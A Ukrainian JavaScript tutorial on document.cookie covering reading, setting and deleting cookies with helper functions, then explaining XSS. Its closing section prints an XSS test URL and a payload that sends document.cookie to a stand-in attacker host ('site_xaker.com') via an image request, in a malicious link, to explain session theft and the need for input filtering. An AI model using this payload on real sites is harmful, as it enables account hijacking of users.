document.cookie - куки документу.
window.document.cookie;
window - об'єкт window. Не обов'язково вказувати якщо посилатися на почне вікно.
document - об'єкт document.
cookie властивість об'єкту document яка повертає рядок з назвою куками і значеннями поточного документу (веб-сторінки) розділеними ; . Також можна додавати куки присвоївши властивості значення.
Cookie (куки, печиво) - це текстові дані які зберігаються браузером на комп'ютері. Передаються Cookie з сервера на браузер і з браузера на сервер у заголовку запиту.
Приклад заголовку:
За політикою безпеки браузера Ви можете отрима куки лише для поточного домену.
Також корисувач може виключити Cookie у настройках браузера. Для перевірки чи включені куки використовуйте navigator.cookieEnabled.
Прицьому об'єм даних і кількість Cookie є обмеженою. В залежності від браузера максимальна кількість куків у запиті від 20 до 50. А назва і значення не повині перевищувати 4 Кб.
Щоб отримати усі куки поточної веб сторінки необхідно звернутися до самої властивості:
alert('куки: '+document.cookie );
document.cookie повертає рядок з усіма кукими у форматі: куки1=значення1; куки2=значення2; куки3=значення3;. Тому щоб отримати певні куки за назвою необхідно "видобути" з рядка.
Також для коректної передачі усіх символів куками рекомендовува кодувати / декодувати значення функціями: encodeURIComponent() / decodeURIComponent() .
Функція для отримання значення куки по назві:
function getCookie(name) {
name = name +"=";
var ca = document.cookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while(c.charAt(0)==' ') {
c = c.substring(1);
}
if(c.indexOf(name) == 0) {
return decodeURIComponent( c.substring(name.length,c.length) );
}
}
return undefined;
}
alert( getCookie("test") );
function getCookie(name){ var res = document.cookie.match ( '(^|;) ?' + name + '=([^;]*)(;|$)' );
if ( res ) return ( decodeURIComponent(res[2]) );
else return undefined;
}
alert( getCookie("test") );
function getCookie(name) {
var matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
Щоб додати нові куки необхідно присвоїти властивості рядок з опціями куки. При цьому куки які уже є видалені не будуть. Якщо назва куки уже існує то дані просто зміняться.
document.cookie = "name=значення; expires=дата; path=шлях; domain=домен; secure";
Опція: | Опис: | Приклад: |
---|---|---|
name | назва куки і значення | "user=JavaScript"document.cookie="user=JS"; |
expires | дата, до якої зберігаються куки. Дата задається у форматі UTC, за допомогою Date.toUTCString(). Якщо дату не вказати то зазвичай куки будуть зберігатися до закритя браузера, тому їх ще називають "сесійні" куки. | "expires=Sun, 23 Oct 2016 08:19:05 GMT"var date=new Date();
date.setTime(date.getTime()+ 60*1000); //збільшуємо дату на 60 секунд
document.cookie="test=Js; expires="+date.toUTCString()+";"; |
max-age | Це нова опція яка по призначеною є аналогом expires. max-age вказує скільки секунд будуть зберігатися куки. | "name=js; max-age=3600;"document.cookie="test=js; max-age=36000;"; |
path | шлях на сайті для якого діють куки. Отримувати куки будуть документи (веб-сторінки) з вказаним шляхом | "path=/test/"document.cookie='test=js; path=/home/;'; //тільки для шляху home |
domain | домен для якого встановлюється куки. Зазвичай не вказується що означає що лише домен з якого вказуються куки може отримати доступ. | "domain=site.com.ua"document.cookie="test=js; domain=яваскрипт.укр"; |
secure | передавати куки тільки по захищеному SSL протоколу: HTTPS. | "secure;"document.cookie="test=js; secure;"; |
d=new Date();
//задаєм дату для зберігання куки на 1 годину
d.setTime( d.getTime()+ 3600000 ); // d.setTime( d.getTime()+ 60*60*1000 );
document.cookie="test=js; expires="+d.toUTCString()+"; path=/user/; domain=яваскрипт.укр; ";
Функція яка додає куки:
function setCookie(name, value, expires_second, path, domain, secure){
var s = name+'='+encodeURIComponent(value)+';';
if( expires_second ){
var d=new Date();
d.setTime( d.getTime()+ expires_second*1000 );
s+=' expires='+d.toUTCString()+';';
}
if(path) s+=' path='+path+';';
if(domain) s+=' domain='+domain+';';
if(secure)s+=' secure;';
document.cookie=s;
}
setCookie("test", "js", 3600);
alert(document.cookie);
function setCookie(name, value, options) {
options = options || {};
var expires = options.expires;
if (typeof expires == "number" && expires) {
var d = new Date();
d.setTime(d.getTime() + expires*1000);
expires = options.expires = d;
}
if (expires && expires.toUTCString) {
options.expires = expires.toUTCString();
}
value = encodeURIComponent(value);
var updatedCookie = name + "=" + value;
for(var propName in options) {
updatedCookie += "; " + propName;
var propValue = options[propName];
if (propValue !== true) {
updatedCookie += "=" + propValue;
}
}
document.cookie = updatedCookie;
}
setCookie("test", "javascript", {expires:36000});
alert(document.cookie);
Щоб видалити куки достатньо вказати у опцію expires дату меншу-рівну поточної дати.
document.cookie='test=; expires='+Date();
alert( document.cookie );
Функція видалення куки за назвою:
function deleteCookie(name){
document.cookie=name+'=; expires='+Date();}
deleteCookie("test");
alert( document.cookie );
function deleteCookie( name ) { var cookie_date = new Date();
cookie_date.setTime( cookie_date.getTime() - 1 ); document.cookie = name += "=; expires=" + cookie_date.toGMTString(); }
Видалення усіх куків:
function deleteCookieAll(){
var mas= document.cookie.split(';');
for(var i = 0; i <mas.length; i++) {
name=mas[i].substring(0, mas[i].indexOf('='));
document.cookie = name + "=; expires=Thu, 01 Jan 1970 00:00:01 GMT;";
}
}
Cookies дані які передаються при кожному запиті, тому важливі дані такі як логін і пароль необхідно шифрувати. Якщо заголовок передається по незашифрованому протоколу HTTP то зловмисники можуть перехопити запит і відповідно отримати куки.
XSS (Cross Site Scripting — міжсайтовий скриптінг) - це вид вразливості веб-сайтів. XSS атака виникає коли на сайті є можливість потраплення сторонніх скриптів.
Основна мета XSS атаки це додати свій скрипт у сайт. А скрипт уже пересилає куки зловмиснику. Куки є ціними коли містьтя дані про сесію користувача (id сесії, логін, тощо). Отримавши куки зловмисник підставляє їх у себе і заходить у акаунт з вкраденої сесії.
Зловмисники додають скрипти через вхідні дані на сайсті: поле пошуку, коментарі на сайті і т.п.
Тому необхідно фільтрувати, екранувати вхідні дані на сайті.
Візьмемо для прикладу вхідних даних поле пошуку на сайті: http://яваскрипт.укр?q= і передамо туди наступні дані
<script>alert('XSS');</script>. Тобто отримаємо силку:
http://яваскрипт.укр?q=<script>alert('XSS');</script>.
Якщо сайт не фільтрує вхідні дані тоді виконується JavScript код - сайт вразливий до XSS атаки.
Щоб вкрасти куки зловмисники потрібно передати куки з браузера жертви на їхній сайт, де ці дані записуються у базу даних. Для цього використовується простий XSS скрипт:
var img = new Image();
img.src='http://site_xaker.com/?cookie='+document.cookie;
Приклад силки з XSS атакою: http://яваскрипт.укр/?q=<script>var img = new Image(); img.src='http://site_xaker.com/?cookie='+document.cookie;</script>
.
Силку з XSS атакою необхідно передати користувачеві. Цей скрипт також можна записати у коментар на сайті - тоді всі відвідувачі сторінки стануть жертвами (мається наувазі авторизовані користувачі у яких куки містять дані необхідні зловмисникам).
alert( document.cookie );
if(document.cookie.indexOf('hello=')==-1){
document.cookie='hello=a; max-are=31536000;';
alert('Вітаємо Ви вперше завітали до нас :-)');
}